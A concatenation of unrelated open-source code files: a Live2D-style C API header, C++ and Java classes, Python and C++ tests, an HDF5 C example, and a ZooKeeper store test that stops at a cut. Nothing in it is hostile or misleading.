* @param outOriginInPixels Origin of model on canvas.
* @param outPixelsPerUnit Aspect used for scaling pixels to units.
*/
csmApi void csmReadCanvasInfo(const csmModel* model,
csmVector2* outSizeInPixels,
csmVector2* outOriginInPixels,
float* outPixelsPerUnit);
/* ---------- *
* PARAMETERS *
* ---------- */
/**
* Gets number of parameters.
*
* @param[in] model Model to query.
*
* @return Valid count on success; '-1' otherwise.
*/
csmApi int csmGetParameterCount(const csmModel* model);
/**
* Gets parameter IDs.
* All IDs are null-terminated ANSI strings.
*
* @param model Model to query.
*
* @return Valid pointer on success; '0' otherwise.
*/
csmApi const char** csmGetParameterIds(const csmModel* model);
/**
* Gets minimum parameter values.
*
* @param model Model to query.
*
* @return Valid pointer on success; '0' otherwise.
*/
csmApi const float* csmGetParameterMinimumValues(const csmModel* model);
/**
* Gets maximum parameter values.
*
* @param model Model to query.
*
* @return Valid pointer on success; '0' otherwise.
*/
csmApi const float* csmGetParameterMaximumValues(const csmModel* model);
/**
* Gets default parameter values.
*
* @param model Model to query.
*
* @return Valid pointer on success; '0' otherwise.
*/
csmApi const float* csmGetParameterDefaultValues(const csmModel* model);
/**
* Gets read/write parameter values buffer.
*
* @param model Model to query.
*
* @return Valid pointer on success; '0' otherwise.
*/
csmApi float* csmGetParameterValues(csmModel* model);
/* ----- *
* PARTS *
* ----- */
/**
* Gets number of parts.
*
* @param model Model to query.
*
* @return Valid count on success; '-1' otherwise.
*/
csmApi int csmGetPartCount(const csmModel* model);
/**
* Gets parts IDs.
* All IDs are null-terminated ANSI strings.
*
* @param model Model to query.
*
* @return Valid pointer on success; '0' otherwise.
*/
csmApi const char** csmGetPartIds(const csmModel* model);
/**
* Gets read/write part opacities buffer.
*
* @param model Model to query.
*
* @return Valid pointer on success; '0' otherwise.
*/
csmApi float* csmGetPartOpacities(csmModel* model);
/* --------- *
* DRAWABLES *
* --------- */
/**
* Gets number of drawables.
*
* @param model Model to query.
*
* @return Valid count on success; '-1' otherwise.
*/
csmApi int csmGetDrawableCount(const csmModel* model);
/**
* Gets drawable IDs.
* All IDs are null-terminated ANSI strings.
*
* @param model Model to query.
*
* @return Valid pointer on success; '0' otherwise.
*/
csmApi const char** csmGetDrawableIds(const csmModel* model);
/**
* Gets constant drawable flags.
*
* @param model Model to query.
*
* @return Valid pointer on success; '0' otherwise.
*/
csmApi const csmFlags* csmGetDrawableConstantFlags(const csmModel* model);
/**
* Gets dynamic drawable flags.
*
* @param model Model to query.
*
* @return Valid pointer on success; '0' otherwise.
*/
csmApi const csmFlags* csmGetDrawableDynamicFlags(const csmModel* model);
/**
* Gets drawable texture indices.
*
* @param model Model to query.
*
* @return Valid pointer on success; '0' otherwise.
*/
csmApi const int* csmGetDrawableTextureIndices(const csmModel* model);
/**
* Gets drawable draw orders.
*
* @param model Model to query.
*
* @return Valid pointer on success; '0' otherwise.
*/
csmApi const int* csmGetDrawableDrawOrders(const csmModel* model);
/**
* Gets drawable render orders.
* The higher the order, the more up front a drawable is.
*
* @param model Model to query.
*
* @return Valid pointer on success; '0'otherwise.
*/
csmApi const int* csmGetDrawableRenderOrders(const csmModel* model);
/**
* Gets drawable opacities.
*
* @param model Model to query.
*
* @return Valid pointer on success; '0' otherwise.
*/
csmApi const float* csmGetDrawableOpacities(const csmModel* model);
/**
* Gets numbers of masks of each drawable.
*
* @param model Model to query.
*
* @return Valid pointer on success; '0' otherwise.
*/
csmApi const int* csmGetDrawableMaskCounts(const csmModel* model);
/**
* Gets mask indices of each drawable.
*
* @param model Model to query.
*
* @return Valid pointer on success; '0' otherwise.
*/
csmApi const int** csmGetDrawableMasks(const csmModel* model);
/**
* Gets number of vertices of each drawable.
*
* @param model Model to query.
*
* @return Valid pointer on success; '0' otherwise.
*/
csmApi const int* csmGetDrawableVertexCounts(const csmModel* model);
/**
* Gets vertex position data of each drawable.
*
* @param model Model to query.
*
* @return Valid pointer on success; a null pointer otherwise.
*/
csmApi const csmVector2** csmGetDrawableVertexPositions(const csmModel* model);
/**
* Gets texture coordinate data of each drawables.
*
* @param model Model to query.
*
* @return Valid pointer on success; '0' otherwise.
*/
csmApi const csmVector2** csmGetDrawableVertexUvs(const csmModel* model);
/**
* Gets number of triangle indices for each drawable.
*
* @param model Model to query.
*
* @return Valid pointer on success; '0' otherwise.
*/
csmApi const int* csmGetDrawableIndexCounts(const csmModel* model);
/**
* Gets triangle index data for each drawable.
*
* @param model Model to query.
*
* @return Valid pointer on success; '0' otherwise.
*/
csmApi const unsigned short** csmGetDrawableIndices(const csmModel* model);
/**
* Resets all dynamic drawable flags.
*
* @param model Model containing flags.
*/
csmApi void csmResetDrawableDynamicFlags(csmModel* model);
#if defined (__cplusplus)
}
#endif
#endif
| 4,652 |
2,542 | <filename>src/prod/src/Hosting2/ConfigureSecurityPrincipalReply.cpp<gh_stars>1000+
// ------------------------------------------------------------
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License (MIT). See License.txt in the repo root for license information.
// ------------------------------------------------------------
#include "stdafx.h"
using namespace std;
using namespace Common;
using namespace ServiceModel;
using namespace Hosting2;
ConfigureSecurityPrincipalReply::ConfigureSecurityPrincipalReply()
: error_(ErrorCodeValue::Success),
principalsInformation_()
{
}
ConfigureSecurityPrincipalReply::ConfigureSecurityPrincipalReply(
vector<SecurityPrincipalInformationSPtr> const & principalsInformation,
ErrorCode const & error)
: error_(error),
principalsInformation_()
{
if(error_.IsSuccess())
{
for(auto iter=principalsInformation.begin(); iter != principalsInformation.end(); ++iter)
{
principalsInformation_.push_back(*(*iter));
}
}
}
void ConfigureSecurityPrincipalReply::WriteTo(TextWriter & w, FormatOptions const &) const
{
w.Write("ConfigureSecurityPrincipalReply { ");
w.Write("ErrorCode = {0}", error_);
w.Write("User : Sid");
for(auto iter = principalsInformation_.begin(); iter != principalsInformation_.end(); ++iter)
{
w.Write(" PrincipalInformation = {0}", *iter);
}
w.Write("}");
}
| 452 |
318 | <filename>presentation/src/main/java/com/crazysunj/crazydaily/view/dialog/CrazyDailyAlertDialog.java
/*
Copyright 2017 <NAME>
<p>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
<p>
http://www.apache.org/licenses/LICENSE-2.0
<p>
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package com.crazysunj.crazydaily.view.dialog;
import android.graphics.Color;
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.GradientDrawable;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.ViewGroup;
import android.view.Window;
import android.view.WindowManager;
import android.widget.LinearLayout;
import android.widget.TextView;
import com.crazysunj.crazydaily.R;
import com.crazysunj.crazydaily.util.ScreenUtil;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.fragment.app.DialogFragment;
import androidx.fragment.app.FragmentActivity;
import butterknife.BindView;
import butterknife.ButterKnife;
import butterknife.Unbinder;
/**
* @author: sunjian
* created on: 2018/10/4 上午11:11
* description: https://github.com/crazysunj/CrazyDaily
*/
public class CrazyDailyAlertDialog extends DialogFragment {
private static final String TAG = "CrazyDailyAlertDialog";
private static final String MESSAGE = "message";
private static final String MESSAGE_COLOR = "messageColor";
private static final String MESSAGE_SIZE = "messageSize";
private static final String NEGATIVE = "negative";
private static final String NEGATIVE_COLOR = "negativeColor";
private static final String NEGATIVE_SIZE = "negativeSize";
private static final String POSITIVE = "positive";
private static final String POSITIVE_COLOR = "positiveColor";
private static final String POSITIVE_SIZE = "positiveSize";
@BindView(R.id.dialog_alert_message)
TextView mMessage;
@BindView(R.id.dialog_alert_button_negative)
TextView mNegative;
@BindView(R.id.dialog_alert_button_positive)
TextView mPositive;
@BindView(R.id.dialog_alert_wrapper)
LinearLayout mWrapper;
private Unbinder mUnbinder;
private OnClickListener mOnNegativeClickListener;
private OnClickListener mOnPositiveClickListener;
//设置样式
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setStyle(STYLE_NO_TITLE, R.style.NormalDialog);
}
@Nullable
@Override
public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
View view = inflater.inflate(R.layout.dialog_alert, container, false);
mUnbinder = ButterKnife.bind(this, view);
initView();
return view;
}
@Override
public void onStart() {
super.onStart();
Window window = getDialog().getWindow();
FragmentActivity activity = getActivity();
if (window != null && activity != null) {
WindowManager.LayoutParams params = window.getAttributes();
params.width = (int) (activity.getResources().getDisplayMetrics().widthPixels * 0.8f);
window.setAttributes(params);
window.setBackgroundDrawable(new ColorDrawable(Color.TRANSPARENT));
}
}
private void initView() {
GradientDrawable drawable = new GradientDrawable();
drawable.setColor(Color.WHITE);
drawable.setCornerRadius(ScreenUtil.dp2px(mWrapper.getContext(), 10));
mWrapper.setBackground(drawable);
Bundle arguments = getArguments();
if (arguments == null) {
return;
}
final String message = arguments.getString(MESSAGE);
mMessage.setText(message);
final int messageColor = arguments.getInt(MESSAGE_COLOR);
mMessage.setTextColor(messageColor);
final float messageSize = arguments.getFloat(MESSAGE_SIZE);
mMessage.setTextSize(messageSize);
final String negative = arguments.getString(NEGATIVE);
mNegative.setText(negative);
final int negativeColor = arguments.getInt(NEGATIVE_COLOR);
mNegative.setTextColor(negativeColor);
final float negativeSize = arguments.getFloat(NEGATIVE_SIZE);
mNegative.setTextSize(negativeSize);
final String positive = arguments.getString(POSITIVE);
mPositive.setText(positive);
final int positiveColor = arguments.getInt(POSITIVE_COLOR);
mPositive.setTextColor(positiveColor);
final float positiveSize = arguments.getFloat(POSITIVE_SIZE);
mPositive.setTextSize(positiveSize);
mNegative.setOnClickListener(v -> {
if (mOnNegativeClickListener != null) {
mOnNegativeClickListener.onClick(v);
}
});
mPositive.setOnClickListener(v -> {
if (mOnPositiveClickListener != null) {
mOnPositiveClickListener.onClick(v);
}
});
}
public void show(FragmentActivity activity) {
super.show(activity.getSupportFragmentManager(), TAG);
}
public void setOnNegativeClickListener(OnClickListener listener) {
mOnNegativeClickListener = listener;
}
public void setOnPositiveClickListener(OnClickListener listener) {
mOnPositiveClickListener = listener;
}
@Override
public void onDestroyView() {
super.onDestroyView();
mUnbinder.unbind();
}
public static class Builder {
private String messgae;
private int messageColor;
private float messageSize;
private String negative;
private int negativeColor;
private float negativeSize;
private String positive;
private int positiveColor;
private float positiveSize;
private OnClickListener onNegativeClickListener;
private OnClickListener onPositiveClickListener;
public Builder setMessgae(String messgae) {
this.messgae = messgae;
return this;
}
public Builder setMessageColor(int messageColor) {
this.messageColor = messageColor;
return this;
}
public Builder setMessageSize(float messageSize) {
this.messageSize = messageSize;
return this;
}
public Builder setNegative(String negative) {
this.negative = negative;
return this;
}
public Builder setNegativeColor(int negativeColor) {
this.negativeColor = negativeColor;
return this;
}
public Builder setNegativeSize(float negativeSize) {
this.negativeSize = negativeSize;
return this;
}
public Builder setOnNegativeClickListener(OnClickListener listener) {
this.onNegativeClickListener = listener;
return this;
}
public Builder setPositive(String positive) {
this.positive = positive;
return this;
}
public Builder setPositiveColor(int positiveColor) {
this.positiveColor = positiveColor;
return this;
}
public Builder setPositiveSize(float positiveSize) {
this.positiveSize = positiveSize;
return this;
}
public Builder setOnPositiveClickListener(OnClickListener listener) {
this.onPositiveClickListener = listener;
return this;
}
public CrazyDailyAlertDialog build() {
CrazyDailyAlertDialog dialog = new CrazyDailyAlertDialog();
Bundle bundle = new Bundle();
bundle.putString(MESSAGE, messgae == null ? "" : messgae);
bundle.putInt(MESSAGE_COLOR, messageColor == 0 ? Color.parseColor("#666666") : messageColor);
bundle.putFloat(MESSAGE_SIZE, messageSize == 0 ? 18 : messageSize);
bundle.putString(NEGATIVE, negative == null ? "" : negative);
bundle.putInt(NEGATIVE_COLOR, negativeColor == 0 ? Color.parseColor("#333333") : negativeColor);
bundle.putFloat(NEGATIVE_SIZE, negativeSize == 0 ? 20 : negativeSize);
bundle.putString(POSITIVE, positive == null ? "" : positive);
bundle.putInt(POSITIVE_COLOR, positiveColor == 0 ? Color.parseColor("#333333") : positiveColor);
bundle.putFloat(POSITIVE_SIZE, positiveSize == 0 ? 20 : positiveSize);
dialog.setArguments(bundle);
dialog.setOnNegativeClickListener(onNegativeClickListener);
dialog.setOnPositiveClickListener(onPositiveClickListener);
return dialog;
}
}
}
| 3,517 |
329 | <reponame>Duiesel/python-jsonschema-objects
import pytest
import python_jsonschema_objects as pjo
def test_simple_array_oneOf():
basicSchemaDefn = {
"$schema": "http://json-schema.org/draft-04/schema#",
"title": "Test",
"properties": {
"SimpleArrayOfNumberOrString": {"$ref": "#/definitions/simparray"}
},
"required": ["SimpleArrayOfNumberOrString"],
"type": "object",
"definitions": {
"simparray": {
"oneOf": [
{"type": "array", "items": {"type": "number"}},
{"type": "array", "items": {"type": "string"}},
]
}
},
}
builder = pjo.ObjectBuilder(basicSchemaDefn)
ns = builder.build_classes()
ns.Test().from_json('{"SimpleArrayOfNumberOrString" : [0, 1]}')
ns.Test().from_json('{"SimpleArrayOfNumberOrString" : ["Hi", "There"]}')
with pytest.raises(pjo.ValidationError):
ns.Test().from_json('{"SimpleArrayOfNumberOrString" : ["Hi", 0]}')
| 491 |
1,002 | <filename>winrt/test.internal/mocks/MockCoreApplication.h<gh_stars>1000+
// Copyright (c) Microsoft Corporation. All rights reserved.
//
// Licensed under the MIT License. See LICENSE.txt in the project root for license information.
#pragma once
namespace canvas
{
using namespace ABI::Windows::Foundation::Collections;
class MockCoreApplication : public RuntimeClass<
ABI::Windows::ApplicationModel::Core::ICoreApplication>
{
public:
CALL_COUNTER_WITH_MOCK(get_PropertiesMethod, HRESULT(IPropertySet**));
IFACEMETHODIMP get_Id(HSTRING *)
{
Assert::Fail(L"Unexpected call to get_Id");
return E_NOTIMPL;
}
IFACEMETHODIMP add_Suspending(ABI::Windows::Foundation::__FIEventHandler_1_Windows__CApplicationModel__CSuspendingEventArgs_t *,EventRegistrationToken *)
{
Assert::Fail(L"Unexpected call to add_Suspending");
return E_NOTIMPL;
}
IFACEMETHODIMP remove_Suspending(EventRegistrationToken)
{
Assert::Fail(L"Unexpected call to remove_Suspending");
return E_NOTIMPL;
}
IFACEMETHODIMP add_Resuming(ABI::Windows::Foundation::__FIEventHandler_1_IInspectable_t *,EventRegistrationToken *)
{
Assert::Fail(L"Unexpected call to add_Resuming");
return E_NOTIMPL;
}
IFACEMETHODIMP remove_Resuming(EventRegistrationToken)
{
Assert::Fail(L"Unexpected call to remove_Resuming");
return E_NOTIMPL;
}
IFACEMETHODIMP get_Properties(IPropertySet** propertySet)
{
return get_PropertiesMethod.WasCalled(propertySet);
}
IFACEMETHODIMP GetCurrentView(ABI::Windows::ApplicationModel::Core::ICoreApplicationView **)
{
Assert::Fail(L"Unexpected call to GetCurrentView");
return E_NOTIMPL;
}
IFACEMETHODIMP Run(ABI::Windows::ApplicationModel::Core::IFrameworkViewSource *)
{
Assert::Fail(L"Unexpected call to Run");
return E_NOTIMPL;
}
IFACEMETHODIMP RunWithActivationFactories(ABI::Windows::Foundation::IGetActivationFactory *)
{
Assert::Fail(L"Unexpected call to RunWithActivationFactories");
return E_NOTIMPL;
}
};
}
| 1,041 |
692 | /************************************************************
This example shows how to recursively traverse a file
using H5Ovisit and H5Lvisit. The program prints all of
the objects in the file specified in FILE, then prints all
of the links in that file. The default file used by this
example implements the structure described in the User's
Guide, chapter 4, figure 26.
This file is intended for use with HDF5 Library version 1.8
************************************************************/
#include "hdf5.h"
#include <stdio.h>
#define FILE "h5ex_g_visit.h5"
/*
* Operator function to be called by H5Ovisit.
*/
herr_t op_func (hid_t loc_id, const char *name, const H5O_info_t *info,
void *operator_data);
/*
* Operator function to be called by H5Lvisit.
*/
herr_t op_func_L (hid_t loc_id, const char *name, const H5L_info_t *info,
void *operator_data);
int
main (void)
{
hid_t file; /* Handle */
herr_t status;
/*
* Open file
*/
file = H5Fopen (FILE, H5F_ACC_RDONLY, H5P_DEFAULT);
/*
* Begin iteration using H5Ovisit
*/
printf ("Objects in the file:\n");
status = H5Ovisit (file, H5_INDEX_NAME, H5_ITER_NATIVE, op_func, NULL);
/*
* Repeat the same process using H5Lvisit
*/
printf ("\nLinks in the file:\n");
status = H5Lvisit (file, H5_INDEX_NAME, H5_ITER_NATIVE, op_func_L, NULL);
/*
* Close and release resources.
*/
status = H5Fclose (file);
return 0;
}
/************************************************************
Operator function for H5Ovisit. This function prints the
name and type of the object passed to it.
************************************************************/
herr_t op_func (hid_t loc_id, const char *name, const H5O_info_t *info,
void *operator_data)
{
printf ("/"); /* Print root group in object path */
/*
* Check if the current object is the root group, and if not print
* the full path name and type.
*/
if (name[0] == '.') /* Root group, do not print '.' */
printf (" (Group)\n");
else
switch (info->type) {
case H5O_TYPE_GROUP:
printf ("%s (Group)\n", name);
break;
case H5O_TYPE_DATASET:
printf ("%s (Dataset)\n", name);
break;
case H5O_TYPE_NAMED_DATATYPE:
printf ("%s (Datatype)\n", name);
break;
default:
printf ("%s (Unknown)\n", name);
}
return 0;
}
/************************************************************
Operator function for H5Lvisit. This function simply
retrieves the info for the object the current link points
to, and calls the operator function for H5Ovisit.
************************************************************/
herr_t op_func_L (hid_t loc_id, const char *name, const H5L_info_t *info,
void *operator_data)
{
herr_t status;
H5O_info_t infobuf;
/*
* Get type of the object and display its name and type.
* The name of the object is passed to this function by
* the Library.
*/
status = H5Oget_info_by_name (loc_id, name, &infobuf, H5P_DEFAULT);
return op_func (loc_id, name, &infobuf, operator_data);
}
| 1,380 |
303 | {"id":69960,"line-1":"Villeneuve-Loubet","line-2":"France","attribution":"©2016 DigitalGlobe","url":"https://www.google.com/maps/@43.626557,7.132338,17z/data=!3m1!1e3"} | 70 |
742 | // Copyright 2016 Proyectos y Sistemas de Mantenimiento SL (eProsima).
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
/**
* @file NackResponseDelay.h
*
*/
#ifndef NACKRESPONSEDELAY_H_
#define NACKRESPONSEDELAY_H_
#ifndef DOXYGEN_SHOULD_SKIP_THIS_PUBLIC
#include "../../resources/TimedEvent.h"
#include "../../messages/RTPSMessageGroup.h"
namespace eprosima {
namespace fastrtps{
namespace rtps {
class StatefulWriter;
class ReaderProxy;
/**
* NackResponseDelay class use to delay the response to an NACK message.
* @ingroup WRITER_MODULE
*/
class NackResponseDelay:public TimedEvent {
public:
/**
*
* @param p_RP
* @param intervalmillisec
*/
NackResponseDelay(ReaderProxy* p_RP,double intervalmillisec);
virtual ~NackResponseDelay();
/**
* Method invoked when the event occurs
*
* @param code Code representing the status of the event
* @param msg Message associated to the event
*/
void event(EventCode code, const char* msg= nullptr);
//!Associated reader proxy
ReaderProxy* mp_RP;
};
}
}
} /* namespace eprosima */
#endif
#endif /* NACKRESPONSEDELAY_H_ */
| 515 |
4,640 | <filename>python/tvm/contrib/hexagon/_ci_env_check.py
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
"""Hexagon environment checks for CI usage
These may be required by either tvm.testing or
tvm.contrib.hexagon.pytest_plugin, and are separated here to avoid a
circular dependency.
"""
import os
import tvm
ANDROID_SERIAL_NUMBER = "ANDROID_SERIAL_NUMBER"
HEXAGON_TOOLCHAIN = "HEXAGON_TOOLCHAIN"
def _compile_time_check():
"""Return True if compile-time support for Hexagon is present, otherwise
error string.
Designed for use as a the ``compile_time_check`` argument to
`tvm.testing.Feature`.
"""
if (
tvm.testing.utils._cmake_flag_enabled("USE_LLVM")
and tvm.target.codegen.llvm_version_major() < 7
):
return "Hexagon requires LLVM 7 or later"
if "HEXAGON_TOOLCHAIN" not in os.environ:
return f"Missing environment variable {HEXAGON_TOOLCHAIN}."
return True
def _run_time_check():
"""Return True if run-time support for Hexagon is present, otherwise
error string.
Designed for use as a the ``run_time_check`` argument to
`tvm.testing.Feature`.
"""
if ANDROID_SERIAL_NUMBER not in os.environ:
return f"Missing environment variable {ANDROID_SERIAL_NUMBER}."
return True
| 659 |
577 | <reponame>StefanPenndorf/FluentLenium
package org.fluentlenium.pages;
import static org.assertj.core.api.Assertions.assertThat;
import org.fluentlenium.core.FluentPage;
import org.fluentlenium.test.IntegrationFluentTest;
public class Page2 extends FluentPage {
@Override
public String getUrl() {
return IntegrationFluentTest.PAGE_2_URL;
}
@Override
public void isAt() {
assertThat(getDriver().getTitle()).isEqualTo("Page 2");
}
}
| 183 |
2,151 | <gh_stars>1000+
// Copyright 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "net/third_party/quic/http/decoder/payload_decoders/quic_http_headers_payload_decoder.h"
#include <stddef.h>
#include <cstdint>
#include "base/logging.h"
#include "net/third_party/quic/http/decoder/payload_decoders/quic_http_payload_decoder_base_test_util.h"
#include "net/third_party/quic/http/decoder/quic_http_frame_decoder_listener.h"
#include "net/third_party/quic/http/quic_http_constants.h"
#include "net/third_party/quic/http/quic_http_structures_test_util.h"
#include "net/third_party/quic/http/test_tools/quic_http_frame_parts.h"
#include "net/third_party/quic/http/test_tools/quic_http_frame_parts_collector.h"
#include "net/third_party/quic/http/tools/quic_http_frame_builder.h"
#include "net/third_party/quic/http/tools/quic_http_random_decoder_test.h"
#include "net/third_party/quic/platform/api/quic_string.h"
#include "testing/gtest/include/gtest/gtest.h"
namespace net {
namespace test {
class QuicHttpHeadersQuicHttpPayloadDecoderPeer {
public:
static constexpr QuicHttpFrameType FrameType() {
return QuicHttpFrameType::HEADERS;
}
// Returns the mask of flags that affect the decoding of the payload (i.e.
// flags that that indicate the presence of certain fields or padding).
static constexpr uint8_t FlagsAffectingPayloadDecoding() {
return QuicHttpFrameFlag::QUIC_HTTP_PADDED |
QuicHttpFrameFlag::QUIC_HTTP_PRIORITY;
}
static void Randomize(QuicHttpHeadersQuicHttpPayloadDecoder* p,
QuicTestRandomBase* rng) {
CorruptEnum(&p->payload_state_, rng);
test::Randomize(&p->priority_fields_, rng);
VLOG(1) << "QuicHttpHeadersQuicHttpPayloadDecoderPeer::Randomize "
"priority_fields_: "
<< p->priority_fields_;
}
};
namespace {
// Listener handles all On* methods that are expected to be called. If any other
// On* methods of QuicHttpFrameDecoderListener is called then the test fails;
// this is achieved by way of FailingQuicHttpFrameDecoderListener, the base
// class of QuicHttpFramePartsCollector. These On* methods make use of
// StartFrame, EndFrame, etc. of the base class to create and access to
// QuicHttpFrameParts instance(s) that will record the details. After decoding,
// the test validation code can access the FramePart instance(s) via the public
// methods of QuicHttpFramePartsCollector.
struct Listener : public QuicHttpFramePartsCollector {
void OnHeadersStart(const QuicHttpFrameHeader& header) override {
VLOG(1) << "OnHeadersStart: " << header;
StartFrame(header)->OnHeadersStart(header);
}
void OnHeadersPriority(const QuicHttpPriorityFields& priority) override {
VLOG(1) << "OnHeadersPriority: " << priority;
CurrentFrame()->OnHeadersPriority(priority);
}
void OnHpackFragment(const char* data, size_t len) override {
VLOG(1) << "OnHpackFragment: len=" << len;
CurrentFrame()->OnHpackFragment(data, len);
}
void OnHeadersEnd() override {
VLOG(1) << "OnHeadersEnd";
EndFrame()->OnHeadersEnd();
}
void OnPadLength(size_t pad_length) override {
VLOG(1) << "OnPadLength: " << pad_length;
CurrentFrame()->OnPadLength(pad_length);
}
void OnPadding(const char* padding, size_t skipped_length) override {
VLOG(1) << "OnPadding: " << skipped_length;
CurrentFrame()->OnPadding(padding, skipped_length);
}
void OnPaddingTooLong(const QuicHttpFrameHeader& header,
size_t missing_length) override {
VLOG(1) << "OnPaddingTooLong: " << header
<< "; missing_length: " << missing_length;
FrameError(header)->OnPaddingTooLong(header, missing_length);
}
void OnFrameSizeError(const QuicHttpFrameHeader& header) override {
VLOG(1) << "OnFrameSizeError: " << header;
FrameError(header)->OnFrameSizeError(header);
}
};
class QuicHttpHeadersQuicHttpPayloadDecoderTest
: public AbstractPaddableQuicHttpPayloadDecoderTest<
QuicHttpHeadersQuicHttpPayloadDecoder,
QuicHttpHeadersQuicHttpPayloadDecoderPeer,
Listener> {};
INSTANTIATE_TEST_CASE_P(VariousPadLengths,
QuicHttpHeadersQuicHttpPayloadDecoderTest,
::testing::Values(0, 1, 2, 3, 4, 254, 255, 256));
// Decode various sizes of (fake) HPQUIC_HTTP_ACK payload, both with and without
// the QUIC_HTTP_PRIORITY flag set.
TEST_P(QuicHttpHeadersQuicHttpPayloadDecoderTest, VariousHpackPayloadSizes) {
for (size_t hpack_size : {0, 1, 2, 3, 255, 256, 1024}) {
LOG(INFO) << "########### hpack_size = " << hpack_size << " ###########";
QuicHttpPriorityFields priority(RandStreamId(), 1 + Random().Rand8(),
Random().OneIn(2));
for (bool has_priority : {false, true}) {
Reset();
ASSERT_EQ(IsPadded() ? 1u : 0u, frame_builder_.size());
uint8_t flags = RandFlags();
if (has_priority) {
flags |= QuicHttpFrameFlag::QUIC_HTTP_PRIORITY;
frame_builder_.Append(priority);
}
QuicString hpack_payload = Random().RandString(hpack_size);
frame_builder_.Append(hpack_payload);
MaybeAppendTrailingPadding();
QuicHttpFrameHeader frame_header(frame_builder_.size(),
QuicHttpFrameType::HEADERS, flags,
RandStreamId());
set_frame_header(frame_header);
ScrubFlagsOfHeader(&frame_header);
QuicHttpFrameParts expected(frame_header, hpack_payload,
total_pad_length_);
if (has_priority) {
expected.opt_priority = priority;
}
EXPECT_TRUE(DecodePayloadAndValidateSeveralWays(frame_builder_.buffer(),
expected));
}
}
}
// Confirm we get an error if the QUIC_HTTP_PRIORITY flag is set but the payload
// is not long enough, regardless of the amount of (valid) padding.
TEST_P(QuicHttpHeadersQuicHttpPayloadDecoderTest, Truncated) {
auto approve_size = [](size_t size) {
return size != QuicHttpPriorityFields::EncodedSize();
};
QuicHttpFrameBuilder fb;
fb.Append(QuicHttpPriorityFields(RandStreamId(), 1 + Random().Rand8(),
Random().OneIn(2)));
EXPECT_TRUE(VerifyDetectsMultipleFrameSizeErrors(
QuicHttpFrameFlag::QUIC_HTTP_PRIORITY, fb.buffer(), approve_size,
total_pad_length_));
}
// Confirm we get an error if the QUIC_HTTP_PADDED flag is set but the payload
// is not long enough to hold even the Pad Length amount of padding.
TEST_P(QuicHttpHeadersQuicHttpPayloadDecoderTest, PaddingTooLong) {
EXPECT_TRUE(VerifyDetectsPaddingTooLong());
}
} // namespace
} // namespace test
} // namespace net
| 2,727 |
1,682 | <reponame>haroldl/rest.li
/*
Copyright (c) 2017 LinkedIn Corp.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package com.linkedin.d2.discovery.stores.zk;
import com.linkedin.test.util.retry.ThreeRetries;
import java.io.IOException;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadLocalRandom;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;
import com.linkedin.common.callback.FutureCallback;
import com.linkedin.common.util.None;
import com.linkedin.d2.balancer.servers.AnnouncerHostPrefixGenerator;
import com.linkedin.d2.balancer.servers.ZookeeperPrefixChildFilter;
import com.linkedin.d2.discovery.stores.PropertySetStringMerger;
import com.linkedin.d2.discovery.stores.PropertySetStringSerializer;
import com.linkedin.d2.discovery.stores.PropertyStoreException;
import static org.testng.Assert.fail;
import org.testng.Assert;
import org.testng.annotations.AfterSuite;
import org.testng.annotations.BeforeSuite;
import org.testng.annotations.DataProvider;
import org.testng.annotations.Test;
/**
* Tests for the get and pur part of the EphemeralStore with filters and prefix, which is used by during markUp/markDown
*
* @author <NAME> (<EMAIL>)
*/
public class ZooKeeperEphemeralStoreWithFiltersTest
{
private ZKConnection _zkClient;
private ZKServer _zkServer;
private int _port;
private ExecutorService _executor = Executors.newSingleThreadExecutor();
@Test(dataProvider = "dataD2ClusterWithNumberOfChildren", groups = { "ci-flaky" })
public void testPutWithoutPrefixAndFilter(String d2ClusterName, int numberOfChildren)
throws IOException, InterruptedException, ExecutionException, PropertyStoreException
{
ZKConnection client = new ZKConnection("localhost:" + _port, 5000);
client.start();
final ZooKeeperEphemeralStore<Set<String>> store = getStore(client, null, null);
// Add new 'numberOfChildren' to the store using put
Set<String> addedChildren = new HashSet<>();
for (int i = 0; i < numberOfChildren; i++)
{
Set<String> currentChild = new HashSet<>();
String childName = "Child" + i;
currentChild.add(childName);
addedChildren.add(childName);
store.put(d2ClusterName, currentChild);
}
// Read all the new children added to the store using get
Set<String> childrenFromZK = store.get(d2ClusterName);
